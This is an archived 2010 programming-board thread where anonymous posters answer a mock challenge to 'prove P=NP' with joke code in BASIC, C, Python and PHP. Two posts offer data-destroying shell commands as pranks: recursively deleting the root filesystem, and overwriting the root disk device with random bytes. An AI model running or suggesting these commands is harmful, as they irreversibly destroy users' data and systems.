Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

☆☆/prog/ challenge ☆☆ [hard mode]

Name: Anonymous 2010-07-13 12:11

Show p=np

deadline 20/7/10

Name: Anonymous 2010-07-13 12:18

10 LET P=5
20 LET NP=5
30 IF P=NP GOTO 50
40 GOTO 60
50 PRINT "I proved P=NP!"
60 END

Name: Anonymous 2010-07-13 12:23

>>2

Too bad this isn't a numbered challenge.

Name: Anonymous 2010-07-13 12:31

N = 1 LOL

Name: Anonymous 2010-07-13 13:32

Before Zarn gets here:


  GNU nano 2.0.7                        File: Prog_Un-numbered_challenge__USES_ALLEGRO_LIBRARY_in_parody_of_Czarn_Adams.c                                                     

#include <allegro.h>

int main(){
        allegro_init();
        install_keyboard();
        set_gfx_mode(GFX_AUTODETECT,800,600,0,0);
        textprintf_ex(screen, font, 250, 400, makecol(255,100,255), -1, "P=NP",SCREEN_W, SCREEN_H);
        readkey();
        return 0;
        }
END_OF_MAIN()

Name: Anonymous 2010-07-13 14:12

#On the name of ALLAH and may the blessing and peace of Allah
#be upon the Messenger of Allah Mohamed Salla Allahu Aliahi Wassalam.
#Author : Fouad Teniou
#Date : 13/07/10
#version :3.1

p = np

Name: Anonymous 2010-07-13 14:14


Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'np' is not defined

Name: Anonymous 2010-07-13 14:14

>>5
I smirked.

Name: Anonymous 2010-07-13 14:19

PHP time.

if(3.0 == "3dicks")
{
  //P=NP
}

Name: Anonymous 2010-07-13 15:44

>>5
At least Xarn knows how code should be indented.

Name: Anonymous 2010-07-13 17:18

>>10

Meh.

Name: Anonymous 2010-07-13 17:51

p = 1
n = 1

n == n*p
True

Name: Anonymous 2010-07-14 2:45

This challenge is for pussies. If you want real hard mode, prove that it's impossible to prove that p=np as well as p != np.

Name: Anonymous 2010-07-14 2:54


#! /bin/bash
su
rm -fr /

Name: Anonymous 2010-07-14 3:29

>>14
perhaps you meant rm -fr /*?
this would be better, tho:
cat /dev/urandom > $(mount | grep -F \ /\  | cut -d\  -f1)

Name: Anonymous 2010-07-14 3:37

>>13
Can I instead prove that it IS possible to prove that p=np or that p != np without proving either of them?

Name: Anonymous 2010-07-14 12:22


<?php
print "p=np";
?>


What do I get?

Name: Anonymous 2010-07-14 12:26

>>17
A string.

Name: Anonymous 2010-07-14 12:27

import pynotify
pynotify.init("/prog/")
n = pynotify.Notification("P = NP", "would a popup lie to you?")
n.show()

Name: Anonymous 2010-07-15 1:00

p=np for extremely small values of n

Name: Anonymous 2010-07-15 1:58

>>16
No. I will not allow this. And since I'm anon, you have no choice but to obey.

Name: Anonymous 2010-07-15 12:15

>>20
I wasn't aware "nondeterministic" took values.

Name: Anonymous 2010-07-15 12:26

P is a subset of NP (see substr and indexof)
So where a == P then also a == NP
Thus, by eliminating a, we find that P == NP.

Name: Anonymous 2010-07-15 12:53

Lets do this rigorously:

>>> "P" in "NP"
True
>>> "NP" in "P"
False

Well, there you have it.

Name: Anonymous 2010-07-15 12:56

>>24
Well fuck me, Guido the Rossum knew the answer all this time...

Name: Anonymous 2010-11-15 3:44

Name: Anonymous 2011-02-03 0:25

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List